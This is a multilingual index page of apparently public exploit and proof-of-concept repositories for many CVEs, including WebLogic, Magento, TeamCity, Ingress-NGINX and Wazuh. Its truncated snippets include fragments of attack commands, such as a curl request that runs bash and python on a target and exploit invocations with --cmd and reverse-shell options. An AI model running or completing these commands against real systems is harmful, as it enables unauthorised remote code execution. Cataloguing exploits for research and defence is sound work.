CVE-2018-19422-SubrionCMS-RCE

CVE-2018-19422-SubrionCMS-RCE SubrionCMS 4.2.1 Exécution de code à distance authentifiée /panel/uploads dans Subrion CMS 4.2.1 permet à des attaquants distants d'exécuter du code PHP arbitraire via un fichier .pht ou .phar, car le fichier .htaccess omet ceux-ci. Utilisation de l'exploit Commandes...

Exploit-CVE-2019-2725

Exploit-CVE-2019-2725 A simple exploit for CVE-2019-2725. Example Code: curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import...

CVE-2022-29303

CVE-2022-29303-Exploit Exploit for CVE-2022-29303 Usage Check against single host / \ \ / / || \ | \ // \ / | \ V /| |/ / / / / // /, /| \ | \ | / || ///| /|//|/// Coded By Valentin Lobstein "With great power comes great responsibility" usage: CVE-2022-29303.py -h -u URL -c COMMAND Example :...

CVE-2022-24086

CVE-2022-24086 Testé avec : magento 2.4.3 et données d'exemple Image Docker : docker.io/bitnami/magento:2.4.3-debian-10-r0 Prénom : var this.getTemplateFilter.filter$order.shippingaddress.cityvar...

CVE-2023-38831-winrar-expoit-simple-Poc

CVE-2023-38831-winrar-expoit-simple-Poc Très important J'espère que vous verrez ce lien en premier https://github.com/b1tg/CVE-2023-38831-winrar-exploit Je n'ai pas écrit l'exploit complet. C'est lui qui a écrit l'exploit. https://github.com/b1tg Tout ce qu'il a fait, c'est modifier quelque chose...

CVE-2022-34919

CVE-2022-34919 Система управления контентом Contensis до версии 15.2.1.79 содержит уязвимость в своем интерфейсе 'Classic', которая позволяет неаутентифицированному пользователю загружать и утверждать произвольные файлы. Загрузив файл aspx, можно выполнять команды в контексте веб-сервера. Эта...

CVE-2016-2098

CVE-2016-2098 Action Pack in Ruby on Rails before 3.2.22.2, 4.x before 4.1.14.2, and 4.2.x before 4.2.5.2 allows remote attackers to execute arbitrary Ruby code by leveraging an application's unrestricted use of the render method. Class Input Validation Error Credits Tobias Kraze from makandra an...

cve-2026-26114-poc

CVE-2026-26114 Используйте только в лаборатории или в системах, где разрешено тестирование. Python PoC pip install requests requests-ntlm python poc/cve202626114rce.py ^ --target http://sharepoint.local ^ --username spuser1 ^ --password "Password123!" ^ --domain SP19 ^ --cmd "cmd /c whoami...

CVE-2022-29464

WSO2 - Téléchargement arbitraire de fichier menant à une exécution de commande à distance RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 Exemple python3 exploit.py https://target.org:9443 shell.jsp...

CVE-2025-1974

Kubernetes Ingress-NGINX Exécution de code à distance non authentifiée CVE-2025-1974 Ingress-NGINX : contrôleur d’entrée pour Kubernetes utilisant NGINX comme proxy inverse et équilibreur de charge La vulnérabilité « IngressNightmare » CVE-2025-1974 provient d’un défaut critique du contrôleur...

CVE-2021-42392-exploit-lab

⚠️ H2 Database RCE Exploit PoC CVE-2021-42392 This repository provides a minimal and controlled environment to test the H2 Database Remote Code Execution vulnerability CVE-2021-42392 using the CREATE ALIAS feature. Unlike many demonstrations, this exploit targets the H2 TCP service directly...

cve-2018-1273

CVE-2018-1273 Spring Data Commons RCE – Vulnérabilité d'exécution de commandes à distance utilisation C:\Users\CTF\Desktoppython cve-2018-1273.py / / | / / /| |/ : touch /tmp/jas502n 405, May Have a CVE-2018-1273 vulnerability! CVE-2018-1273 Vulnerability Exit! Cmd : Requête BurpSuite : POST...

CVE-2023-42793

CVE-2023-42793 JetBrains TeamCity avant la version 2023.05.4 est vulnérable à un contournement d'authentification menant à une exécution de code à distance RCE Utilisation Pour obtenir un reverse shell python3 exploit.py Références...

CVE-2018-7750

CVE-2018-7750 une approche RCE exécution de commandes à distance de CVE-2018-7750 Exploit Title: Paramiko 2.4.1 - Exécution de code à distance Date: 2018-11-06 Exploit Author: jm33-ng Vendor Homepage: https://www.paramiko.org Software Link: https://github.com/paramiko/paramiko/archive/2.4.0.tar.g...

CVE-2025-47256

CVE-2025-47256 Stack overflow in LibXMP Description A stack-based buffer overflow vulnerability exists in the depackpha function of libxmp, a library for module music playback. The vulnerability is triggered when parsing malformed Pha Packer PHA module files. Improper bounds checking on a local...

CVE-2019-0708-Windows

CVE-2019-0708-Windows Cet article partagera la vulnérabilité du service Bureau à distance Windows CVE-2019-0708, et expliquera en détail cette vulnérabilité ainsi que les mesures défensives. En tant que débutant en cybersécurité, l'auteur partage quelques tutoriels d'auto-apprentissage,...

CVE-2024-10914

CVE-2024-10914 - Exploit d'exécution de code à distance RCE D-Link Ce script est un exploit de type preuve de concept PoC pour CVE-2024-10914, une vulnérabilité d'exécution de code à distance sur certains appareils D-Link. Le script identifie et exploite les appareils vulnérables pour exécuter de...

CVE-2018-3760

CVE-2018-3760 Уязвимость обхода каталогов в конвейере ассетов Rails Обнаружено Orange Tsai Примечание : По умолчанию Rails-приложения, работающие в production-режиме, не уязвимы к этому эксплойту. Эксплойт: curl -v...

CVE-2020-8248

CVE-2020-8248: Повышение привилегий через эксплуатацию подстановочных символов Zip в Pulse Secure VPN Linux Client Исполняемый файл pulsesvc с битом SUID от root имеет функцию doupload, которая небезопасно вызывает команду zip с подстановочными символами . Записывая файлы с особым образом...

CVE-2025-24016-Wazuh-Remote-Code-Execution-RCE-PoC

🚨 Wazuh Remote Code Execution RCE - PoC 📌 Résumé de la vulnérabilité Une vulnérabilité critique de RCE a été identifiée dans le serveur Wazuh en raison d'une désérialisation non sécurisée dans le paquet wazuh-manager. Ce bogue affecte les versions de Wazuh ≥ 4.4.0 et a été corrigé dans la version...